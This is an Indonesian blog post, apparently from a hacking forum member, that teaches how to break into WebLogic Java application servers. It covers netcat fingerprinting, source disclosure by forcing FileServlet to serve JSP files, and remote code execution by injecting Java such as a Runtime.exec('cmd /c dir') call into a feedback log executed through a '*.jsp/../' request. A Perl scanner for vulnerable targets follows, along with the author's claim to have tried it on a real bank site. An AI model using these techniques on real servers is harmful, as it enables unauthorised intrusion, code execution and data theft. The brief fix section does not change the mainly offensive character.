LaGiPusHinGWitH ---- IT

Navigation

Home |

Categories

Monthly Archives

Most recent entries

Syndicate

Site Credits

Powered by:
ExpressionEngine

Design by:
BlogMoxie

Eksekusi Jarak Jauh: Java

---// Intro

Java menawarkan 2 keuntungan utama bagi bahasa pemrograman server-based. Pertama, Java
berciri orientasi-obyek dan memiliki sekumpulan class dan metode untuk semua kegunaan.
Kedua, java berciri independent-platform, yaitu hanya dengan satu kode dasar java bisa
dijalankan pada banyak platform pada setiap OS yang mendukung Java. Teknologi Web Java
terdiri dari Servlet Java, Java Server Pages (JSP), JavaBeans, dan komponen Java-Driven
lainnya. Sun mengeluarkan framework-nya sendiri dalam form Web server Java yang bisa
menjalankan teknologi java. Saat platform itu populer, banyak lagi server java diperkenal
kan seperti Jserv dan Tomcat (open source) dan dijalankan pada apache, iPlanet, Resin,
Servertec, dan lain-lain.

---// Identifikasi Lubang Keamanan Server Java

Model servlet multithread server aplikasi java juga memiliki kelemahan, seperti Java Web
Server dari Sun, WebSphere dari IBM, WebLogic dari BEA, dan JRun dari Allaire, mengalaminya
karena ada kecacatan pada arsitektur dan implementasinya. Kecacatan pada arsitektur rentan
serangan berjenis penyingkapan source code, eksekusi jarak jauh, dan full path disclosure

---// Hack http://www.xxxxx.com/

http://www.xxxxx.com, adalah portal bisnis. Memakai platform Windows NT, SQL Database, dan server
aplikasi.
Pada url-nya terdapat link2:

http://www.xxxxx.com/index.html
http://www.xxxxx.com/banking.jsp
http://www.xxxxx.com/login.jsp
http://www.xxxxx.com/feedback/feedback.jsp
http://www.xxxxx.com/servlets/tradeonline

Petunjuk awal adalah semua url berakhiran jsp yang berarti menggunakan Java Server Pages.
Berikutnya ada pada url:

http://www.xxxxx.com/servlets/tradeonline
yang menandakan penggunaan servlet Java, yang dipanggil dengan menggunakan pemanggil servlet.
Dengan menggunakan NetCat, kita request “HEAD” untuk mendapatkan jenis server

C:> nc http://www.xxxxx.com 80
HEAD / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Location: /index.html
Server: WebLogic 5.1.0
Content-Length: 217
Connection: Close

---// Pengendali dan Servlet WebLogic

Konfigurasi server aplikasi WebLogic terdapat pada file weblogic.properties, yang berisi parameter-
parameter konfigurasi seperti port TCP webserver, password administrasi, pemetaan servlet, dan lain-
lain. Melalui konfigurasi file, bisa diketahui cara kerja server-server aplikasi. File konfigurasi
menghubungkan servlet dengan beragam tipe sumber yang dilayani oleh server aplikasi, sehingga request
untuk file jsp ditangani oleh file servlet yang dikenal sebagai “pengendali”.
Bagaimana jika kita memanggil FileServlet dan meminta java server pages untuk mengeksekusi pemanggil
JSPServlet dan merequest sebuah file HTML sederhana?. Teknik ini disebut dengan “memaksa pengendali”

----------------weblogic.properties-----------------
weblogic.httpd.register.snoop=examples.servlets.SnoopServlet
Sisi kanan “SnoopServlet” berada pada /examples/servlets/. Sisi kiri, merupakan perintah yang mewakili
alias atau nama lain pemanggilan. Semua yang berasal dari weblogic.httpd.register dipetakan ke servlet
yang diwakili oleh sisi kanan. Dengan kata lain dipetakan menjadi kata snoop

---// Memanggil FileServlet

Dengan melihat lebih jauh file weblogic.properties bisa disingkapkan banyak informasi menarik lainnya.
Core servlet pada server aplikasi diregistrasikan dalam cara yang sama dengan servlet yang dibuat oleh
user!!!. Salah satu bagian dari file weblogic.properties menggambarkan bagaimana FileServlet diregistrasi:

----------------weblogic.properties-----------------
# File servlet registration
# ---------------------------------------------------------------
# FileServlet searches below the documentRoot for the requested file
# and serves it if found. If the requested file is directory,
# FileServlet will append the defaultFilename to the requested path
# and serve that the file found.
weblogic.httpd.register.file=weblogic.servlet.FileServlet

Sisi kiri adalah alias untuk ServletFile, dimana kata “file” pada url memanggil FileServlet. Sekarang apa
yang terjadi bila url http://www.xxxxx.com/-file dimasukkan kedalam browser??? FileServlet didesain untuk
menjalankan beberapa file teks biasa kepada klien, tetapi bagaimana jika kita menggunakannya untuk mengambil
file JSP??? wink

url http://www.xxxxx.com/feedback/feedback.jsp

feedback.jsp adalah sebuah form untuk pelanggan melakukan feedback pada owner. Secara default file JSP
dikontrol oleh servlet prosesor JSP yaitu JspServlet. Sekarang mari kita berusaha agar feedback.jsp dikendalikan
oleh FileServlet dengan menggunakan url ini:

http://www.xxxxx.com/file/feedback/feedback.jsp

ternyata request tersebut menghasilkan penyingkapan source code yang sangat fatal, yang disebabkan oleh
“pengendali tidak cocok”, yaitu memaksa FileServlet memproses request JSP, padahal yang seharusnya mengendalikan
JspServlet. FileServlet memberikan isi file tanpa proses lebih jauh lagi.

Dari source code tersebut diketahui bahwa feedback yang dikirimkan klien dicatat kesebuah file bernama input.html
yang berada pada direktori yang sama (./myserver/public_html/feedback/input.html).
Dengan memanggil file input.html kita dapat melihat pesan-pesan feedback dari pelanggan.
Penelusuran kelemahan ini akan lebih membawa kita kepada hasil yang lebih berbahaya daripada hanya sekedar dapat
membaca pesan feedback dan megetahui bahwa file input.html dapat ditulis.

Kita kembali melihat pada file weblogic.properties:
# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
# WEBLOGIC JSP PROPERTIES
# -------------------------------------------------------
# Sets up automatic page compilation for JSP. Adjust init args for
# directory locations and uncomment to use.

1. weblogic.httpd.register.*.jsp=
weblogic.servlet.JSPServlet

2. weblogic.httpd.initArgs.*.jsp=
pageCheckSecond=1,

compileCommand=c:/jdk1.2/bin/javac.exe,
workingDir=d:/weblogic/myserver/classfiles,
verbose=true

JSPServlet tercatat dengan alias “*.jsp”, dengan kata lain kita bisa memanggil JSPServlet secara
langsung dengan menggunakan string *.jsp pada url.
Sekarang kita akan mencoba untuk memasukkan file html biasa dan memanggil pengendali JSPServlet.
Dari kelemahan yang ditemukan pertama kali, kita masukkan komentar pada feedback.jsp dengan kode
java untuk memaksa pengendali JSPServlet pada file input.html

JSPServlet didesain untuk menangani kode JSP, dan harus memperlakukan isi file input.html sebagai
tag JSP dan meng-compile lalu mengeksekusi kode javanya.

http://www.xxxxx.com/*.jsp/../feedback/input.html

Teknik ini berhasil dengan baik dimana pada bagian feedback terdapat output “nick saya roninmorgue”,
dapat kita ketahui bahwa kelemahan ini dapat mengeksekusi perintah merusak pada web server, bukan
hanya penyingkapan source code.

Sampai sini sepertinya kita sudah memahami bahwa seorang hacker tidak hanya dapat menjalankan
statement output biasa tetapi juga dapat melakukan remote command dengan memasukkan kode-kode untuk
mengeksekusi sistem seperti:

Process p=Runtime.getRuntime().exec("cmd /c dir");

Selanjutnya tinggal mengeksekusi file input.html seperi cara sebelumnya, kita dapat juga melakukan
perintah untuk mengupload file shell command smile.
Oh yah sebagai catatan yang perlu diingat, bukan hanya weblogic yang mengalami kelemahan ini, hampir
semua aplikasi java server mengalaminya.
Sekarang kita coba buat script exploitnya yang berfungsi untuk melakukan pengecekan terhadap server
weblogic yang vulnerable terhadap kelemahan ini, ingat hanya mengecek!!!! -->

----------------weblogic.properties-----------------
weblogic.httpd.register.snoop=examples.servlets.SnoopServlet
----------------weblogic.properties-----------------
# File servlet registration
# ---------------------------------------------------------------
# FileServlet searches below the documentRoot for the requested file
# and serves it if found. If the requested file is directory,
# FileServlet will append the defaultFilename to the requested path
# and serve that the file found.
weblogic.httpd.register.file=weblogic.servlet.FileServlet
--------------------------weblogicExp.pl-------------------------

#!/usr/bin/perl -w
# Exploit Code by y3dips [for testing only] for becommunity exploit
# Recoded by roninmorgue [fot testing only] for weblogic java application server
print “ * Remote Testing Java Server (weblogic) by roninmorgue * “;

require LWP::UserAgent;

if(@ARGV == 2)
{
$target = $ARGV[0]; #ambil inputan url target , eg : http://www.target.com
$fileinject = $ARGV[1]; #ambil path yang akan diinject , eg : /feedback/feedback.jsp

my $ua = LWP::UserAgent->new;
$ua->agent("MSIE/6.0 Windows");
$ua->timeout(10);
$ua->env_proxy;
$url1 = “http://$target/snoop”;
$url2 = “http://$target/file/$fileinject”;

my $inject1 = $ua->get($url1);

print “--------------------------------------------------- “;
if ($inject1->is_success)
{ print (” $target kemungkinan besar vulnerable “); }
else { print (” $target kemungkinan tidak vulnerable “); }
print “--------------------------------------------------- “;

my $inject2 = $ua->get($url2);

print “--------------------------------------------------- “;
if ($inject2->is_success)
{ print (” source code $fileinject terbuka “); }
else { print (” source code $fileinject tidak terbuka “); }
print “--------------------------------------------------- “;
}
else{
print “Gunakan: perl weblogicExp.pl [www.target] “; #Help options
}
------------------------------------------eof-----------------
Jika menampilkan pesan http://www.target.com kemungkinan besar vulnerable dan/atau source code terbuka,
maka kita dapat coba melakukan teknik-teknik exploit yang dijelaskan sebelumnya.
untuk tiap-tiap aplikasi server java lainnya selain weblogic harap dilihat file konfigurasinya atau
file propertiesnya...karena memiliki kecacatan yang hampir sama.

catt: memang vulnerability ini bukan hanya kesalahan dari aplikasi java server saja, tapi dari lemahnya
konfigurasi server ditambah dengan lemahnya sanitasi dari pemrograman menciptakan lubang besar
bagi aplikasi server java

---// Fix

* Buat sanitasi pada input dari user, cegah user untuk memasukkan kode-kode yang merusak.
var badstring = (’<’,’>’,’’’,’“‘,’*’,’#’,’=’,’&’,’’,’;’,’:’); // Invalid character is a space
* Buang semua file-file eksekusi seperti cmd.exe, ftp.exe baik windows maupun unix pada server
* Non-aktifkan pemanggilan servlet secara langsung, memang menyulitkan developer tapi sebanding dengan
keamanan yang didapatkan.

---// Summary

Artikel ini diintisarikan dari buku Web Hacking: Serangan dan pertahanannya, serta saya praktekkan pada
web https://www.xxxxx.hsbc.co.id/
tapi saya tidak mempublishnya untuk keamanan saya sendiri smile
Artikel ini saya buat mengingat banyaknya sebagian kalangan IT yang mengatakan bahwa server java sangat
aman dari hacking, dan juga dari perbincangan saya dengan anak 2001 saat diruangan jurusan mengenai
java, dimana dia sangat membanggakan keamanan dari java dan berkata “Tidak ada yang bisa menembus Java”.
Artikel ini juga tidak bermaksud untuk mengatakan bahwa Java Server tidak aman, karena prinsip saya
adalah tidak ada satupun sistem yang aman 100%. OK sekian dulu artikel ini Terima Kasih!!! smile

Semoga bermanfaat.
Wassalam!

---// Reference

1. Web Hacking: Serangan dan pertahanannya - Stuart McClure
2. Writing Security Tools and Exploits - James C. Foster ; Vincent Liu
3. Hackers Handbook - Auzy_build011
4. http://www.forum.mercubuana.it.org buat link DL java servernya
5. Ezine from Echo.or.id
------------------------------------------------------------

Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion, WaferStick, newbie, cloud)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------

Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
---------------- [ EOF ] ----------------------------------------
Posted by roninmorgue on 08/18 at 03:09 PM

Posted by roninmorgue on 08/25 at 01:17 AM
Computer Hacking • (0) Comments • (202) TrackbacksPermalink

Name:

Email:

Location:

URL:

Smileys

Remember my personal information

Notify me of follow-up comments?